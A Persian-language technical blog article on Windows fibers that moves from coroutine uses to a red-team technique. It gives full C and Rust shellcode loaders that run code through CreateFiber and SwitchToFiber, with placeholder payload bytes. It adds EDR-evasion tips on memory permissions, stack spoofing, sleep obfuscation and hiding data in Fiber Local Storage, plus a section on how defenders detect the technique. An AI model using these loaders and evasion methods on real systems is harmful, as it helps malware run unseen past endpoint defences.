VulnCity

Fiber در ویندوز - راهنمای جامع

نویسنده: یاسین عابدینی · دسته: Windows-Internals · تاریخ انتشار: ۱۴۰۵/۳/۱۲

Fiber در ویندوز — راهنمای جامع

در دنیای امنیت تهاجمی (Red Team) و بهینه‌سازی برنامه‌نویسی سطح پایین، مفهوم Fiber در ویندوز یکی از کمتر شناخته‌شده‌ترین اما قدرتمندترین ابزارهاست. این مقاله به بررسی کامل فیبرها، تفاوت با Thread، پیاده‌سازی عملی، و کاربردهای پیشرفته آن می‌پردازد.


۱. تفاوت واقعی Fiber با Thread

Thread مثل کارمندیه که رئیس (OS) بهش می‌گه کِی کار کنه و کِی استراحت کنه — هر وقت OS بخواد، وسط کار قطعش می‌کنه. Fiber مثل کارمندیه که خودش تصمیم می‌گیره کِی کنترل رو به نفر بعدی بده. OS اصلاً نمی‌دونه Fiberها وجود دارن.

یک Fiber در ویندوز اساساً یک «thread سبک‌وزن» است که در User-mode توسط برنامه schedule می‌شود، نه توسط kernel. در عمل، فیبرها چندین context اجرایی را در یک thread واحد فراهم می‌کنند — هر fiber stack و وضعیت register خود را دارد، اما همه فیبرها روی thread واحدی اجرا می‌شوند و در هر لحظه تنها یکی از آن‌ها فعال است.

موضوع Thread Fiber
کی schedule می‌کنه؟ Windows Kernel خود برنامه‌نویس
نوع Scheduling Preemptive Cooperative
Context Switch کجا؟ Kernel-mode User-mode
سرعت Context Switch ~۱۰۰۰-۲۰۰۰ ns ~۱۰۰-۲۰۰ ns (≈۱۰x سریع‌تر)
OS از آن خبر دارد؟ ✅ کاملاً ❌ ندارد
Thread جدید می‌سازد؟ ✅ بله ❌ خیر
Stack مجزا دارد؟
نیاز به Lock/Mutex ✅ بله ❌ خیر

یک نکته مهم:

  • یک thread در حال اجرا نمی‌تواند fiber بسازد یا به آن switch کند، مگر اینکه ابتدا خودش به fiber تبدیل شده باشد.
  • فقط یک fiber می‌تواند fiber دیگری را schedule کند؛ بنابراین ابتدا باید ConvertThreadToFiber فراخوانی شود.

۲. توابع کلیدی Windows Fiber API

  • ConvertThreadToFiber(lpParameter) — thread جاری را به fiber تبدیل می‌کند. این فراخوانی الزامی است.
  • CreateFiber(dwStackSize, lpStartAddress, lpParameter) — یک fiber جدید می‌سازد.
  • SwitchToFiber(lpFiber) — به fiber هدف switch می‌کند (تنها در User-mode).
  • DeleteFiber(lpFiber) — fiber را حذف می‌کند. هرگز روی fiber جاری فراخوانی نکنید.
  • ConvertFiberToThread() — fiber را به thread معمولی بازمی‌گرداند.
  • FlsAlloc / FlsSetValue / FlsGetValue — مدیریت Fiber Local Storage.

۳. مزایای کاربردی Fiber

۳.۱ Coroutine / Generator

فیبرها به‌طور طبیعی یک مکانیسم yield فراهم می‌کنند — هر بار SwitchToFiber اجرا می‌شود، مقدار جدیدی «yield» می‌شود:

VOID CALLBACK GeneratorFiber(LPVOID param) {
    for (int i = 0; i < 5; i++) {
        *(int*)param = i;            // "yield" مقدار
        SwitchToFiber(g_mainFiber);  // برگرد به caller
    }
}

۳.۲ Cooperative Multitasking

در یک بازی یا شبیه‌ساز، می‌توان هر منطق را در یک Fiber جداگانه اجرا کرد:

  • Fiber 1: منطق AI دشمن
  • Fiber 2: منطق حرکت بازیکن
  • Fiber 3: سیستم فیزیک

هر فریم، هر Fiber یکم اجرا می‌شه بدون overhead چند Thread.

۳.۳ State Machine ساده‌تر

به‌جای نگه‌داشتن state به صورت enum، هر state یک Fiber است که می‌توان در وسطش pause کرد.


۴. اجرای Shellcode از طریق Fiber (Shellcode Execution through Fibers)

۴.۱ مرور کلی

هدف از این تکنیک، اجرای shellcode در یک پروسه محلی با استفاده از Windows Fiber API است — بدون ساختن thread جدید. طبق مستندات مایکروسافت، یک fiber واحد اجرایی است که باید توسط برنامه به‌صورت دستی schedule شود و در context thread ای که آن را schedule می‌کند اجرا می‌شود.

۴.۲ مراحل اجرا

  1. تبدیل thread اصلی به fiber — این مرحله الزامی است؛ فقط یک fiber می‌تواند fiber دیگری را schedule کند.
  2. تخصیص حافظه و نوشتن shellcode — با VirtualAlloc و مجوز PAGE_EXECUTE_READWRITE.
  3. ساخت fiber جدید — که به آدرس shellcode اشاره می‌کند.
  4. Schedule کردن fiber جدید — با SwitchToFiber.
  5. Shellcode اجرا می‌شود.

۴.۳ پیاده‌سازی در C

#include <Windows.h>

int main()
{
    // مرحله ۱: تبدیل thread به fiber
    PVOID mainFiber = ConvertThreadToFiber(NULL);

    unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0..."; // shellcode bytes

    // مرحله ۲: تخصیص حافظه قابل اجرا
    PVOID shellcodeLocation = VirtualAlloc(0, sizeof shellcode,
                                           MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(shellcodeLocation, shellcode, sizeof shellcode);

    // مرحله ۳: ساخت fiber برای shellcode
    PVOID shellcodeFiber = CreateFiber(NULL,
                                       (LPFIBER_START_ROUTINE)shellcodeLocation,
                                       NULL);

    // مرحله ۴: schedule کردن fiber — shellcode اجرا می‌شود
    SwitchToFiber(shellcodeFiber);

    return 0;
}

۴.۴ پیاده‌سازی در Rust

Rust به دلایل متعددی برای توسعه offensive سطح پایین ایده‌آل است: memory safety بدون GC، بدون runtime سنگین، FFI قدرتمند با Windows API، و کامپایل به باینری native که runtime اضافه‌ای لود نمی‌کند.

مرحله ۱ — تبدیل Thread به Fiber

use windows::Win32::System::Threading::ConvertThreadToFiber;
use std::ptr;

unsafe {
    let main_fiber = ConvertThreadToFiber(ptr::null_mut());
    assert!(!main_fiber.is_null(), "ConvertThreadToFiber failed");
}

مرحله ۲ — تخصیص حافظه برای Shellcode

use windows::Win32::System::Memory::{
    VirtualAlloc, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE
};

unsafe {
    let shellcode: [u8; /* length */] = [ /* shellcode bytes */ ];
    let shellcode_mem = VirtualAlloc(
        ptr::null_mut(),
        shellcode.len(),
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE,
    );
    assert!(!shellcode_mem.is_null(), "VirtualAlloc failed");
}

در سناریوی OPSEC-conscious، بهتر است ابتدا با RW تخصیص دهید، bytes را بنویسید، سپس با VirtualProtect به RX تغییر دهید تا از حافظه RWX که برای EDR مشکوک است اجتناب شود.

مرحله ۳ — کپی Shellcode به حافظه

use std::ptr::copy_nonoverlapping;

unsafe {
    copy_nonoverlapping(shellcode.as_ptr(), shellcode_mem as *mut u8, shellcode.len());
}

مرحله ۴ — ساخت Fiber برای Shellcode

use windows::Win32::System::Threading::CreateFiber;

unsafe {
    type FiberStartRoutine = unsafe extern "system" fn(*mut core::ffi::c_void);
    let fiber_proc: FiberStartRoutine = std::mem::transmute(shellcode_mem);
    let shellcode_fiber = CreateFiber(0, Some(fiber_proc), ptr::null_mut());
    assert!(!shellcode_fiber.is_null(), "CreateFiber failed");
}

مرحله ۵ — Switch به Fiber و اجرای Shellcode

use windows::Win32::System::Threading::SwitchToFiber;

unsafe {
    SwitchToFiber(shellcode_fiber);
    // اگر shellcode با return برگردد، اجرا از اینجا ادامه می‌یابد
}

کد کامل (Rust)

use windows::Win32::System::Threading::{ConvertThreadToFiber, CreateFiber, SwitchToFiber};
use windows::Win32::System::Memory::{VirtualAlloc, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE};
use std::ptr;
use std::ptr::copy_nonoverlapping;

unsafe {
    // 1. تبدیل thread به fiber
    let main_fiber = ConvertThreadToFiber(ptr::null_mut());
    assert!(!main_fiber.is_null(), "ConvertThreadToFiber failed");

    // 2. تخصیص حافظه RWX
    let shellcode: [u8; /* length */] = [ /* shellcode bytes */ ];
    let shellcode_mem = VirtualAlloc(
        ptr::null_mut(), shellcode.len(),
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE,
    );
    assert!(!shellcode_mem.is_null(), "VirtualAlloc failed");

    // 3. کپی shellcode
    copy_nonoverlapping(shellcode.as_ptr(), shellcode_mem as *mut u8, shellcode.len());

    // 4. ساخت fiber
    type FiberStartRoutine = unsafe extern "system" fn(*mut core::ffi::c_void);
    let fiber_proc: FiberStartRoutine = std::mem::transmute(shellcode_mem);
    let shellcode_fiber = CreateFiber(0, Some(fiber_proc), ptr::null_mut());
    assert!(!shellcode_fiber.is_null(), "CreateFiber failed");

    // 5. اجرا
    SwitchToFiber(shellcode_fiber);
}

۵. مزایای Stealth و Evasion

۵.۱ بدون Thread Creation — بدون Kernel Callback

وقتی بدافزار thread جدید می‌سازد، kernel می‌تواند callback های ثبت‌شده توسط EDR را فراخوانی کند. اجرای فیبری این callback ها را اصلاً trigger نمی‌کند — از دید kernel، همان thread قدیمی دارد اجرا می‌شود.

۵.۲ Hook های API دور زده می‌شوند

EDRها معمولاً این API ها را hook می‌کنند:

CreateThread        ← مشکوک!
NtCreateThread      ← مشکوک!
CreateRemoteThread  ← خیلی مشکوک!

اما:

CreateFiber         ← اغلب hook نمی‌شود
SwitchToFiber       ← تقریباً هیچ EDRی این را hook نمی‌کند

۵.۳ بدون Handle مشکوک جدید

تزریق به پروسه دیگر معمولاً نیازمند OpenProcess و CreateRemoteThread است — هر دو پر از indicator. اجرا در پروسه جاری با فیبرها هیچ cross-process call یا handle جدیدی نمی‌سازد.

۵.۴ Stack Spoofing

هر Fiber stack مجزای خودش را دارد. یک attacker می‌تواند stack فیبر را طوری بسازد که به‌جای shellcode، توابع مشروع را نشان دهد:

[EDR بررسی می‌کند] ← SomeFunc ← shellcode   ❌ مشکوک
[EDR بررسی می‌کند] ← ntdll.dll ← kernel32   ✅ مشروع به‌نظر می‌رسد

ابزارهایی مثل Cobalt Strike شروع به استفاده از fiber-based call stack spoofing برای evasion بهتر کرده‌اند.

۵.۵ Sleep Obfuscation

یکی از مشکلات shellcodeها اینه که هنگام Sleep، EDR می‌تواند memory را اسکن کند و کد مخرب را پیدا کند.با Fiber می‌توان قبل از sleep، shellcode را در memory رمزنگاری کرد، یک fiber دیگر که فقط sleep می‌کند اجرا کرد، و بعد از sleep، decrypt کرد و ادامه داد.

۵.۶ Fiber Local Storage (FLS)

DWORD idx = FlsAlloc(nullptr);
FlsSetValue(idx, encryptedPayload);  // داده پنهان در FLS

// بعداً:
void* data = FlsGetValue(idx);  // فقط از داخل fiber قابل دسترس است

به‌جای متغیر global که برای ابزارهای Memory Forensics آشکار است، داده حساس را در FLS ذخیره کنید.


۶. محدودیت‌ها و روش‌های شناسایی

محدودیت‌های فنی

  • Single-threaded: در هر لحظه فقط یک fiber اجرا می‌شود. اگر concurrency واقعی لازم دارید، باید از چند thread استفاده کنید — که خود indicator ایجاد می‌کند.
  • نیاز به code execution اولیه: برای تزریق به پروسه دیگر، ابتدا باید کدی در آن پروسه داشته باشید. Fiberها در سناریوهای in-process راحت‌ترند.
  • Cleanup: فراموش نکردن DeleteFiber (روی fiber غیرفعال) و احتمالاً ConvertFiberToThread در پایان.

روش‌های شناسایی توسط Defender

  • Memory Forensics: حافظه RWX غیرمعمول قابل شناسایی است.ابزارهای PE-sieve و Moneta می‌توانند shellcodeهای مستقر در Fiberها را شناسایی کنند.
  • TEB بررسی شود: در Thread Environment Block، فیلد Fiber Data نشان‌دهنده اینکه thread به fiber تبدیل شده است. اگر پروسه‌ای عادی fiber استفاده نمی‌کند، این خودش indicator است.
  • Sysmon Event ID 8 — نظارت بر تزریق به حافظه.
  • API Monitoring: EDRهای نسل جدید شروع به hook کردن CreateFiber و ConvertThreadToFiber کرده‌اند — چون این تکنیک به‌تدریج روی رادار defender ها آمده.
  • Usage Pattern: اکثر برنامه‌های معمولی از fiber استفاده نمی‌کنند. حضور این API ها در یک پروسه نامرتبط، به‌خودی‌خود مشکوک است.

۷. تکنیک‌های پیشرفته‌تر

با آگاه‌تر شدن defender ها از تکنیک فیبر پایه، variants پیشرفته‌تری ظهور کرده‌اند:

  • Phantom Thread: ایجاد یک thread که ظاهری قانونی دارد اما از فیبرها برای اجرای کد مخرب استفاده می‌کند.
  • Poison Fiber: هدف قرار دادن یک thread که از قبل در پروسه قربانی به fiber تبدیل شده و hijack کردن fiber خاموش آن — تکنیکی پیچیده اما با indicator بسیار کم.

۸. جمع‌بندی

فیبرهای ویندوز یک روش code injection بدون thread فراهم می‌کنند که می‌تواند از بسیاری از دفاع‌های خط اول عبور کند. با اجرای shellcode روی context یک thread موجود، از ساختن thread جدید و دقتی که با آن همراه است اجتناب می‌شود.

این مقاله نشان داد:

  • فیبرها چیستند و چطور با thread تفاوت دارند
  • چطور می‌توان آن‌ها را برای اجرای in-memory shellcode هم در C و هم در Rust استفاده کرد
  • چرا این تکنیک برای Red Team جذاب است
  • چه محدودیت‌ها و detection tradeoff هایی دارد

فیبرهای ویندوز یادآور می‌شوند که گاهی بهترین جای پنهان شدن در دید عموم است — اجرای کد روی یک thread که از قبل وجود دارد. با سوءاستفاده از این مسیر اجرای threadless، attackerها می‌توانند به اجرای stealthy in-memory دست یابند؛ و defender ها باید یک تکنیک پنهانکار دیگر را در جستجوی بی‌پایان برای ایمن‌سازی سیستم‌ها حساب کنند.

⚠️ تمام موارد Red Team صرفاً برای اهداف آموزشی، تحقیقاتی و در چارچوب تست‌های نفوذ مجاز ارائه شده است.